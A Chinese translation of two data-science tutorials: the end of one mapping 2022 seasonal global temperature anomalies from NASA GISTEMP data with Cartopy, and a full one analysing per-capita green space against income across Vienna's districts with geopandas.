在这一部分,我打算绘制 2022 年不同季节的全球地表温度异常。数据来源于同一个 NASA GISSTEMP 网站。不过,在这种情况下,我选择了四个气象季节(冬季、春季、夏季和秋季)作为平均期,并下载了相应的网格数据作为 netCDF 文件。为了获取 2022 年整个日历年的数据,我选择了时间间隔,即 2022 年开始和结束之间的时间。
接下来,我创建了一个get_data
函数,从相应的 netCDF 文件中提取四季的经度、纬度、温度异常和平均温度异常数据,如下所示:
从 netCDF 文件中提取四季的经度、纬度、温度异常和平均温度异常数据的函数。图像作者提供。
我打算将四季的温度异常绘制成单个图中的四个子图。下面的代码片段中已相应编写了代码。我还为整个图添加了一个公共的图例色条。
clevs = np.arange(-5, 6)
cmap = “coolwarm”
projection = ccrs.PlateCarree()
# Use subplot_kw to declare the projection
fig, axs = plt.subplots(2, 2, figsize = (24, 7), subplot_kw = {"projection": projection},
#gridspec_kw = {'wspace':0.01, 'hspace':0.3}
)
plt.subplots_adjust(left = 0.2, right = 0.8, top = 0.9, bottom = -0.25)
fig.suptitle(title, x = 0.5, y = 1, fontsize = 20, fontweight = "bold")
cf1 = axs[0, 0].contourf(winter_lons, winter_lats,
winter_temp_anomaly,
clevs,
#transform = ccrs.PlateCarree(),
cmap = cmap,
extend = "both"
)
axs[0, 0].set_title(f'Winter 2022: +{winter_temp_anomaly_mean} °C', fontsize = 20)
axs[0, 0].coastlines()
axs[0, 0].gridlines(draw_labels=True)
axs[0, 0].set_aspect('equal', adjustable=None)
cf2 = axs[0, 1].contourf(spring_lons, spring_lats,
spring_temp_anomaly,
clevs,
#transform = ccrs.PlateCarree(),
cmap = cmap,
extend = "both"
)
axs[0, 1].set_title(f'Spring 2022: +{spring_temp_anomaly_mean} °C', fontsize = 20)
axs[0, 1].coastlines()
axs[0, 1].gridlines(draw_labels=True)
axs[0, 1].set_aspect('equal', adjustable=None)
cf3 = axs[1, 0].contourf(summer_lons, summer_lats,
summer_temp_anomaly,
clevs,
#transform = ccrs.PlateCarree(),
cmap = cmap,
extend = "both"
)
axs[1, 0].set_title(f'Summer 2022: +{summer_temp_anomaly_mean} °C', fontsize = 20)
axs[1, 0].coastlines()
axs[1, 0].gridlines(draw_labels=True)
axs[1, 0].set_aspect('equal', adjustable=None)
cf4 = axs[1, 1].contourf(autumn_lons, autumn_lats,
autumn_temp_anomaly,
clevs,
#transform = ccrs.PlateCarree(),
cmap = cmap,
#To add arrows in the colorbar
extend = "both"
)
cax = fig.add_axes([0.25, -0.35, 0.5, 0.025]) #[left, bottom, width, height]
lgd = fig.colorbar(cf4,
orientation = "horizontal",
ticks = clevs,
cax = cax,
label = "°C"
).set_label("°C", rotation = 0)
axs[1, 1].set_title(f'Autumn 2022: +{autumn_temp_anomaly_mean} °C', fontsize = 20)
axs[1, 1].coastlines()
axs[1, 1].gridlines(draw_labels=True)
axs[1, 1].set_aspect('equal', adjustable=None)
plt.savefig("../output/temperature_anomalies_by_seasons.jpeg",
bbox_inches = "tight",
dpi = 300)
plt.show()
结果图如下所示:
2022 年四个气象季节的全球地表温度异常,相对于 1951 年至 1980 年均值作为基准期。数据基于 GISTEMP 团队,2023 年及 Lenssen 等,2019 年。插图作者提供。
关键要点
从这次分析中得到的一些关键点如下:
-
2022 年是拉尼娜年,这通常对全球温度有冷却作用。尽管如此,2022 年的全球平均地表温度异常相对于 1951–80 年均值为 1.2°C。2022 年是有记录以来最温暖的拉尼娜年,这突显了全球变暖的极端性(CNN, 2023)。
-
地表温度异常在全球不同地区并不均匀。如前文帖子所讨论,全球地表温度异常在陆地上的值远高于海洋。一项研究指出,近年来陆地的温度上升速度大约是海洋的两倍。
-
与历史 1951–80 年基期相比,2022 年的不同季节中有些海洋区域稍微凉爽。这些区域在地图上以蓝色表示。例如,南美洲左侧的部分太平洋和格林兰岛下方的一些区域。然而,这并未描绘完整的图景,因为大多数地方已经变暖,这在地图上以红色表示。
-
与世界其他地区相比,北极地区近年来变暖程度更高。这主要归因于海冰和雪盖的融化,导致反射减少和太阳辐射吸收增加(PBS 新闻时间,2022)。在 2022 年,北极的温度异常在冬季比其他月份更为突出。
-
上述 B 部分显示了 2022 年全球表面温度异常在不同季节之间的差异。夏季观察到的温度异常最高(1.15°C),其次是春季(1.14°C)、冬季(1.08°C)和秋季(1.02°C)。这与近年来夏季变得更暖和并且相较于其他季节更为难以忍受有关。
结论
在这篇文章中,首先,我绘制了相对于 1951–80 年均值的 2023 年 4 月全球表面温度异常数据,使用了从 NASA 的GISSTEMP获取的 netCDF 文件。我展示了使用 Cartopy 包在不同投影下绘制地图的方法。接下来,我将 2022 年四个气象季节的表面温度异常数据绘制为一个图中的四个子图。通过这些地图图示,我提取了近年来全球不同地区和不同季节的表面温度异常的主要信息。
Xarray 是 Python 中另一个有用的包,可用于处理 netCDF 或其他文件格式的地理空间数据。例如,Lubomir Franko和 Giannis Tolios 的文章展示了如何使用 xarray、cartopy 和 matplotlib 绘制欧洲的表面温度异常数据。使用 xarray 处理空间数据的可能性可以作为另一个话题进行讨论。
本文和本系列之前的文章中使用的笔记本和数据可以在这个 GitHub仓库中找到。感谢您的阅读!
参考文献
CNN, 2023. 2022 年是有记录以来最暖的拉尼娜年。科学家们表示今年将更暖 | CNN
GISTEMP 团队,2023 年:GISS 地表温度分析(GISTEMP),版本 4。NASA 戈达德太空研究所。数据集访问日期:2023 年 5 月 31 日,网址为 data.giss.nasa.gov/gistemp/。
Lenssen, N., G. Schmidt, J. Hansen, M. Menne, A. Persin, R. Ruedy, 和 D. Zyss, 2019 年:GISTEMP 不确定性模型的改进。J. Geophys. Res. Atmos., 124,第 12 期,6307–6326,doi:10.1029/2018JD029522。
国家雪冰数据中心——推进对地球冰冻区域的认识,2023 年。[什么是 netCDF? | 国家雪冰数据中心 (nsidc.org)](https://nsidc.org/data/user-resources/help-center/what-netcdf#:~:text=NetCDF%20(network%20Common%20Data%20Form,format%20for%20representing%20scientific%20data.)
PBS 新闻时间,2022 年。北极变暖的速度几乎是全球其他地区的四倍 | PBS 新闻时间
QGIS 文档,2023 年。8. 坐标参考系统 — QGIS 文档
The World Counts,2023 年。全球变暖与二氧化碳浓度(theworldcounts.com)
世界气象组织(WMO),2023 年。全球年度至十年气候更新 | 世界气象组织 (wmo.int)
使用维也纳开放数据门户评估城市绿地平等性
原文:
towardsdatascience.com/assessing-urban-geen-inequality-using-viennas-open-data-portal-aa628e0237ad
图片来源 CHUTTERSNAP 于 Unsplash
尽管有许多优势,但在高度城市化的地区,接触自然和绿地变得越来越困难。一些人担心,服务不足的社区可能更容易面临这些问题。在这里,我提出了一种数据驱动的方法来探索这一问题。
·发表于 Towards Data Science ·11 min read·2023 年 9 月 11 日
–
我提出了一个近年来在专业圈子和地方政府中引起兴趣的城市发展问题——现在关注的是绿地平等性。这个概念指的是在特定城市不同区域内人们获取绿地的差异。在这里,我探索其财政维度,并观察每人绿地面积与该城市单位的经济水平之间是否存在明显的关系。
我将探索城市的两种不同空间分辨率——区划和人口普查区,使用奥地利政府开放数据门户提供的 Esri Shapefiles。我还会将表格统计数据(人口和收入)纳入地理参考的行政区域。接着,我会将这些行政区域与官方绿地数据集叠加,记录每个绿地的位置,并以地理空间格式呈现。然后,我将这些信息结合起来,并量化每个城市区的每人绿地总量。最后,我将每个区域的财政状况(通过年净收入捕捉)与每人绿地比例相关联,以查看是否出现任何模式。
1. 数据来源
我们可以在奥地利政府的开放数据门户 这里 查看。
当我写这篇文章时,网站的英文翻译没有真正起作用,因此我没有依赖我早已遗忘的 12 年德语课程,而是使用了 DeepL 来浏览子页面和数千个数据集。
然后,我收集了几个数据文件,包括地理参考(Esri shapefiles)和简单的表格数据,这些数据将用于后续分析。我收集的数据:
边界 — 维也纳以下空间单位的行政边界:
土地使用 — 绿色空间和建成区域的位置信息:
- 绿色带维也纳城市 视觉化现有和专用的绿色带区域,由 1539 个地理空间多边形文件组成,这些文件包围了绿色空间。
统计数据 — 关于人口和收入的数据,反映了区域的社会经济水平:
-
每个区的人口,自 2002 年起每年记录,并按 5 岁年龄组、性别和原籍国分开存储。
-
每个普查区的人口,自 2008 年起每年记录,并按三个不规则年龄组、性别和来源分开存储。
-
平均净收入 自 2002 年以来,维也纳各区的每名员工每年以欧元表示。
此外,我将下载的数据文件存储在名为 data 的本地文件夹中。
2. 基本数据探索
2.1 行政边界
首先,读取和可视化包含每个行政边界级别的不同形状文件,以更详细地了解城市:
folder = 'data'
admin_city = gpd.read_file(folder + '/LANDESGRENZEOGD')
admin_district = gpd.read_file(folder + '/BEZIRKSGRENZEOGD')
admin_census = gpd.read_file(folder + '/ZAEHLBEZIRKOGD')
display(admin_city.head(1))
display(admin_district.head(1))
display(admin_census.head(1))
在此我们注意到列名 BEZNR 和 ZBEZ 分别对应于区 ID 和普查区 ID。出乎意料的是,它们以不同的格式存储/解析,分别为 numpy.float64 和 str:
print(type(admin_district.BEZNR.iloc[0]))
print(type(admin_census.ZBEZ.iloc[0]))pyth
确保我们确实有 23 个区和 250 个普查区,如数据文件文档所声称:
print(len(set(admin_district.BEZNR)))
print(len(set(admin_census.ZBEZ)))
现在可视化边界 — 首先是城市,然后是其区,再然后是更小的普查区。
f, ax = plt.subplots(1,3,figsize=(15,5))
admin_city.plot(ax=ax[0],
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Reds')
admin_district.plot(ax=ax[1],
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Blues')
admin_census.plot(ax=ax[2],
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Purples')
ax[0].set_title('City boundaries')
ax[1].set_title('District boundaries')
ax[2].set_title('Census distrcit boundaries')
这段代码输出维也纳的以下视觉效果:
维也纳的不同行政级别。图像由作者提供。
2.2 绿色区域
现在,也查看一下绿色空间的分布:
gdf_green = gpd.read_file(folder + '/GRUENFREIFLOGD_GRUENGEWOGD')
display(gdf_green.head(3))
在这里,人们可能会注意到没有直接将绿地(例如,没有添加区 ID)与社区链接的方法——因此稍后我们将通过操作几何形状找到重叠区域来做到这一点。
现在可视化这个:
f, ax = plt.subplots(1,1,figsize=(7,5))
gdf_green.plot(ax=ax,
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Greens')
ax.set_title('Green areas in Vienna')
这段代码展示了维也纳的绿地所在的位置:
维也纳的官方绿带。图片由作者提供。
我们可以注意到,林业区域仍然在行政边界内,这意味着并不是城市的每个部分都是城市化和人口密集的。稍后,当我们评估人均绿地面积时,我们会回到这一点。
2.3 统计数据——人口、收入
最后,让我们看看统计数据文件。第一个主要区别是这些文件没有地理参考,只是简单的 csv 表格:
df_pop_distr = pd.read_csv('vie-bez-pop-sex-age5-stk-ori-geo4-2002f.csv',
sep = ';',
encoding='unicode_escape',
skiprows = 1)
df_pop_cens = pd.read_csv('vie-zbz-pop-sex-agr3-stk-ori-geo2-2008f.csv',
sep = ';',
encoding='unicode_escape',
skiprows = 1)
df_inc_distr = pd.read_csv('vie-bez-biz-ecn-inc-sex-2002f.csv',
sep = ';',
encoding='unicode_escape',
skiprows = 1)
display(df_pop_distr.head(1))
display(df_pop_cens.head(1))
display(df_inc_distr.head(1))
3. 数据预处理
3.1. 准备统计数据文件
前一小节显示统计数据表使用了不同的命名约定——它们使用 DISTRICT_CODE 和 SUB_DISTRICT_CODE 标识符,而不是像 BEZNR 和 ZBEZ 这样的东西。然而,在阅读每个数据集的文档后,很明显可以很容易地进行转换,接下来我在下一个单元中提供了两个简短的函数。我将同时处理区和普查区级别的数据。
此外,我只对统计信息的(最新)汇总值和数据点感兴趣,比如最新快照中的总人口。因此,让我们清理这些数据文件,保留我稍后会用到的列。
# these functions convert the district and census district ids to be compatbile with the ones found in the shapefiles
def transform_district_id(x):
return int(str(x)[1:3])
def transform_census_district_id(x):
return int(str(x)[1:5])
# select the latest year of the data set
df_pop_distr_2 = df_pop_distr[df_pop_distr.REF_YEAR \
==max(df_pop_distr.REF_YEAR)]
df_pop_cens_2 = df_pop_cens[df_pop_cens.REF_YEAR \
==max(df_pop_cens.REF_YEAR)]
df_inc_distr_2 = df_inc_distr[df_inc_distr.REF_YEAR \
==max(df_inc_distr.REF_YEAR)]
# convert district ids
df_pop_distr_2['district_id'] = \
df_pop_distr_2.DISTRICT_CODE.apply(transform_district_id)
df_pop_cens_2['census_district_id'] = \
df_pop_cens_2.SUB_DISTRICT_CODE.apply(transform_census_district_id)
df_inc_distr_2['district_id'] = \
df_inc_distr_2.DISTRICT_CODE.apply(transform_district_id)
# aggregate population values
df_pop_distr_2 = df_pop_distr_2.groupby(by = 'district_id').sum()
df_pop_distr_2['district_population'] = df_pop_distr_2.AUT + \
df_pop_distr_2.EEA + df_pop_distr_2.REU + df_pop_distr_2.TCN
df_pop_distr_2 = df_pop_distr_2[['district_population']]
df_pop_cens_2 = df_pop_cens_2.groupby(by = 'census_district_id').sum()
df_pop_cens_2['census_district_population'] = df_pop_cens_2.AUT \
+ df_pop_cens_2.FOR
df_pop_cens_2 = df_pop_cens_2[['census_district_population']]
df_inc_distr_2['district_average_income'] = \
1000*df_inc_distr_2[['INC_TOT_VALUE']]
df_inc_distr_2 = \
df_inc_distr_2.set_index('district_id')[['district_average_income']]
# display the finalized tables
display(df_pop_distr_2.head(3))
display(df_pop_cens_2.head(3))
display(df_inc_distr_2.head(3))
# and unifying the naming conventions
admin_district['district_id'] = admin_district.BEZNR.astype(int)
admin_census['census_district_id'] = admin_census.ZBEZ.astype(int)
print(len(set(admin_census.ZBEZ)))
双重检查两个聚合层次的计算总人口值:
print(sum(df_pop_distr_2.district_population))
print(sum(df_pop_cens_2.census_district_population))
这两个应该都提供相同的结果——1931593 人。
3.1. 准备地理空间数据文件
现在我们完成了统计文件的基本数据准备,是时候将绿地多边形与行政区域多边形匹配了。接下来,让我们计算每个行政区域的总绿地覆盖面积。此外,我还会出于好奇添加每个行政区域的相对绿地覆盖面积。
要获得以 SI 单位表示的面积,我们需要切换到所谓的本地 CRS,在维也纳的情况下是 EPSG:31282。你可以在这里和这里更多地了解这个话题、地图投影和坐标参考系统。
# converting all GeoDataFrames into the loca crs
admin_district_2 = \
admin_district[['district_id', 'geometry']].to_crs(31282)
admin_census_2 = \
admin_census[['census_district_id', 'geometry']].to_crs(31282)
gdf_green_2 = gdf_green.to_crs(31282)
计算以 SI 单位测量的行政单元面积:
admin_district_2['admin_area'] = \
admin_district_2.geometry.apply(lambda g: g.area)
admin_census_2['admin_area'] = \
admin_census_2.geometry.apply(lambda g: g.area)
display(admin_district_2.head(1))
display(admin_census_2.head(1))
4. 计算人均绿地面积比率
4.1 计算每个行政单元的绿地覆盖率
我将使用 GeoPandas 的叠加函数将这两个行政边界 GeoDataFrame 与包含绿色区域多边形的 GeoDataFrame 叠加在一起。然后,我计算每个绿色区域部分落入不同行政区域的面积。接下来,我将这些面积汇总到每个行政区域,包括区级和普查区级。最后,在每个分辨率单元中,我添加之前计算的行政官方单元面积,并计算每个区和普查区的绿色面积比率。
gdf_green_mapped_distr = gpd.overlay(gdf_green_2, admin_district_2)
gdf_green_mapped_distr['green_area'] = \
gdf_green_mapped_distr.geometry.apply(lambda g: g.area)
gdf_green_mapped_distr = \
gdf_green_mapped_distr.groupby(by = 'district_id').sum()[['green_area']]
gdf_green_mapped_distr = \
gpd.GeoDataFrame(admin_district_2.merge(gdf_green_mapped_distr, left_on = 'district_id', right_index = True))
gdf_green_mapped_distr['green_ratio'] = \
gdf_green_mapped_distr.green_area / gdf_green_mapped_distr.admin_area
gdf_green_mapped_distr.head(3)
gdf_green_mapped_cens = gpd.overlay(gdf_green_2, admin_census_2)
gdf_green_mapped_cens['green_area'] = \
gdf_green_mapped_cens.geometry.apply(lambda g: g.area)
gdf_green_mapped_cens = \
gdf_green_mapped_cens.groupby(by = 'census_district_id').sum()[['green_area']]
gdf_green_mapped_cens = \
gpd.GeoDataFrame(admin_census_2.merge(gdf_green_mapped_cens, left_on = 'census_district_id', right_index = True))
gdf_green_mapped_cens['green_ratio'] = gdf_green_mapped_cens.green_area / gdf_green_mapped_cens.admin_area
gdf_green_mapped_cens.head(3)
最后,按区和普查区可视化绿色比率!结果似乎非常有意义,外围区域的绿化水平较高,而中心区域的绿化水平明显较低。此外,250 个普查区清晰地显示了不同街区特征的更详细、更细致的图景,为城市规划者提供了更深刻和更本地化的洞察。另一方面,区级信息由于空间单元减少了十倍,展示了总体平均水平。
f, ax = plt.subplots(1,2,figsize=(17,5))
gdf_green_mapped_distr.plot(ax = ax[0],
column = 'green_ratio',
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
legend = True,
cmap = 'Greens')
gdf_green_mapped_cens.plot(ax = ax[1],
column = 'green_ratio',
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
legend = True,
cmap = 'Greens')
这段代码输出了以下地图:
这两张地图显示了维也纳每个区/普查区的绿色面积比率。图片由作者提供。
4.2 为每个行政单位添加人口和收入信息
在本节的最后一步,让我们将统计数据映射到行政区域。提醒一下:我们在区级和普查区级都有人口数据。然而,我只能在区级找到收入(社会经济水平指标)。这在地理空间数据科学中是一种常见的权衡。虽然一个维度(绿化)在更高分辨率(普查区)下更具洞察力,但数据限制可能会迫使我们使用较低分辨率的数据。
display(admin_census_2.head(2))
display(df_pop_cens_2.head(2))
gdf_pop_mapped_distr = admin_district_2.merge(df_pop_distr_2, \
left_on = 'district_id', right_index = True)
gdf_pop_mapped_cens = admin_census_2.merge(df_pop_cens_2, \
left_on = 'census_district_id', right_index = True)
gdf_inc_mapped_distr = admin_district_2.merge(df_inc_distr_2, \
left_on = 'district_id', right_index = True)
f, ax = plt.subplots(1,3,figsize=(15,5))
gdf_pop_mapped_distr.plot(column = 'district_population', ax=ax[0], \
edgecolor = 'k', linewidth = 0.5, alpha = 0.9, cmap = 'Blues')
gdf_pop_mapped_cens.plot(column = 'census_district_population', ax=ax[1], \
edgecolor = 'k', linewidth = 0.5, alpha = 0.9, cmap = 'Blues')
gdf_inc_mapped_distr.plot(column = 'district_average_income', ax=ax[2], \
edgecolor = 'k', linewidth = 0.5, alpha = 0.9, cmap = 'Purples')
ax[0].set_title('district_population')
ax[1].set_title('census_district_population')
ax[2].set_title('district_average_incomee')
这段代码生成了以下图形:
维也纳街区的各种统计信息。图片由作者提供。
4.3 绿色面积人均计算
让我们总结一下目前的情况,所有数据都整合成了与维也纳各区和普查区对应的整洁形状文件:
在区级,我们有绿色面积比率、人口和收入数据。
在普查区的层面上,我们有绿色面积比率和人口数据。
为了简单地捕捉绿色平等,我将绿色面积的绝对大小与区级和普查区级的人口信息合并,计算人均绿色面积的总量。
让我们来看看我们的输入——绿色覆盖和人口:
# a plot for the disticts
f, ax = plt.subplots(1,2,figsize=(10,5))
gdf_green_mapped_distr.plot(
ax = ax[0],
column = 'green_ratio',
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Greens')
gdf_pop_mapped_distr.plot(
ax = ax[1],
column = 'district_population',
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Reds')
ax[0].set_title('green_ratio')
ax[1].set_title('district_population')
# a plot for the census disticts
f, ax = plt.subplots(1,2,figsize=(10,5))
gdf_green_mapped_cens.plot(
ax = ax[0],
column = 'green_ratio',
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Greens')
gdf_pop_mapped_cens.plot(
ax = ax[1],
column = 'census_district_population',
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Reds')
ax[0].set_title('green_ratio')
ax[1].set_title('district_population')
这段代码生成了以下图形:
维也纳各区和普查区的绿色面积和人口水平。图片由作者提供。
为了计算人均绿地面积,我将首先通过以下步骤合并绿化和人口数据框。我将以普查区为例,因为它的空间分辨率更高,允许我们观察到更好的模式(如果有的话)。确保我们不进行零除操作,并遵循常识;我们来去除那些无人居住的区域。
gdf_green_pop_cens = \
gdf_green_mapped_cens.merge(gdf_pop_mapped_cens.drop( \
columns = ['geometry', 'admin_area']), left_on = 'census_district_id',\
right_on = 'census_district_id')[['census_district_id', \
'green_area', 'census_district_population', 'geometry']]
gdf_green_pop_cens['green_area_per_capita'] = \
gdf_green_pop_cens['green_area'] / \
gdf_green_pop_cens['census_district_population']
gdf_green_pop_cens = \
gdf_green_pop_cens[gdf_green_pop_cens['census_district_population']>0]
f, ax = plt.subplots(1,1,figsize=(10,7))
gdf_green_pop_cens.plot(
column = 'green_area_per_capita',
ax=ax,
cmap = 'RdYlGn',
edgecolor = 'k',
linewidth = 0.5)
admin_district.to_crs(31282).plot(\
ax=ax, color = 'none', edgecolor = 'k', linewidth = 2.5)
这段代码块的结果是以下图形:
每个普查区根据其人均绿地评分着色。图像由作者提供。
让我们稍微调整一下可视化:
f, ax = plt.subplots(1,1,figsize=(11,7))
ax.set_title('Per-capita green area in\nthe census districts of Vienna',
fontsize = 18, pad = 30)
gdf_green_pop_cens.plot(
column = 'green_area_per_capita',
ax=ax,
cmap = 'RdYlGn',
edgecolor = 'k',
linewidth = 0.5,
legend=True,
norm=matplotlib.colors.LogNorm(\
vmin=gdf_green_pop_cens.green_area_per_capita.min(), \
vmax=gdf_green_pop_cens.green_area_per_capita.max()), )
admin_district.to_crs(31282).plot(
ax=ax, color = 'none', edgecolor = 'k', linewidth = 2.5)
这段代码的结果是以下图形:
每个普查区根据其人均绿地评分着色。图像由作者提供。
区域的情况也是如此:
# compute the per-capita green area scores
gdf_green_pop_distr = \
gdf_green_mapped_distr.merge(gdf_pop_mapped_distr.drop(columns = \
['geometry', 'admin_area']), left_on = 'district_id', right_on = \
'district_id')[['district_id', 'green_area', 'district_population', \
'geometry']]
gdf_green_popdistr = \
gdf_green_pop_distr[gdf_green_pop_distr.district_population>0]
gdf_green_pop_distr['green_area_per_capita'] = \
gdf_green_pop_distr['green_area'] / \
gdf_green_pop_distr['district_population']
# visualize the district-level map
f, ax = plt.subplots(1,1,figsize=(10,8))
ax.set_title('Per-capita green area in the districts of Vienna', \
fontsize = 18, pad = 26)
gdf_green_pop_distr.plot(column = 'green_area_per_capita', ax=ax, \
cmap = 'RdYlGn', edgecolor = 'k', linewidth = 0.5, legend=True, \
norm=matplotlib.colors.LogNorm(vmin=\
gdf_green_pop_cens.green_area_per_capita.min(), \
vmax=gdf_green_pop_cens.green_area_per_capita.max()), )
admin_city.to_crs(31282).plot(ax=ax, \
color = 'none', edgecolor = 'k', linewidth = 2.5)
这段代码块的结果是以下图形:
每个区根据其人均绿地评分着色。图像由作者提供。
尽管显著的趋势很清楚——外缘,每个人更多的绿地,市区,反转。然而,这两个图表,特别是详细的普查区层级图表,清楚地显示了不同区域人们享有的绿地面积的差异。进一步的研究和引入额外的数据来源,例如土地使用数据,可能有助于更好地解释这些区域为什么拥有较高的绿地或人口。目前,让我们欣赏这张地图,希望每个人都能在自己家中找到适量的绿意!
# merging the greenery, population and financial data
gdf_district_green_pip_inc = \
gdf_green_pop_distr.merge(gdf_inc_mapped_distr.drop(columns = \
['geometry']))
可视化金融和绿化维度之间的关系:
f, ax = plt.subplots(1,1,figsize=(6,4))
ax.plot(gdf_district_green_pip_inc.district_average_income, \
gdf_district_green_pip_inc.green_area_per_capita, 'o')
ax.set_xscale('log')
ax.set_yscale('log')
ax.set_xlabel('district_average_income')
ax.set_ylabel('green_area_per_capita')
这段代码块的结果是以下散点图:
比较维也纳各区的平均净收入与人均绿地面积比率。图像由作者提供。
初看之下,散点图并未特别支持金融数据决定人们获取绿地的情况。说实话,我对这些结果有点惊讶——然而,考虑到维也纳长期以来有意识地努力绿化城市,这可能就是我们在这里没有看到任何主要趋势的原因。为了确认,我还检查了这两个变量之间的相关性:
print(spearmanr(gdf_district_green_pip_inc.district_average_income, gdf_district_green_pip_inc.green_area_per_capita))
print(pearsonr(gdf_district_green_pip_inc.district_average_income, gdf_district_green_pip_inc.green_area_per_capita))
由于金融数据的重尾分布,我会更认真地考虑斯皮尔曼(0.13)相关性,但即使是皮尔逊相关性(0.30)也暗示了一个相对较弱的趋势,这与我之前的观察一致。